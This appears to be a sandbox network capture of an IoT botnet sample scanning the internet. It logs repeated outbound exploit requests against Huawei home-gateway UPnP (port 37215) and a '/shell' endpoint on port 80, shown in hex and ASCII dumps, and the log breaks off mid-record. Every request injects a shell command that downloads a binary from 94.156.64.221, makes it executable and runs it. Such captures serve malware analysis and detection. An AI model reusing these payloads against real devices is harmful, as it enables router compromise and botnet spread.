2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	40262	197.97.177.91	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275830030 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	45842	41.42.3.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.275904894 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	60892	41.54.77.148	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.287412882 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	59916	223.93.215.58	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.231936932 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	43444	106.211.139.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.232017994 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	47420	197.83.168.107	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.233612061 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	34658	156.113.148.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.233750105 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	49364	156.251.227.241	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.233813047 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	49574	41.37.164.26	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.258739948 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	39256	197.235.98.188	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.258790970 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	34116	197.227.44.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259083986 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	53256	156.182.240.81	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.259124994 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 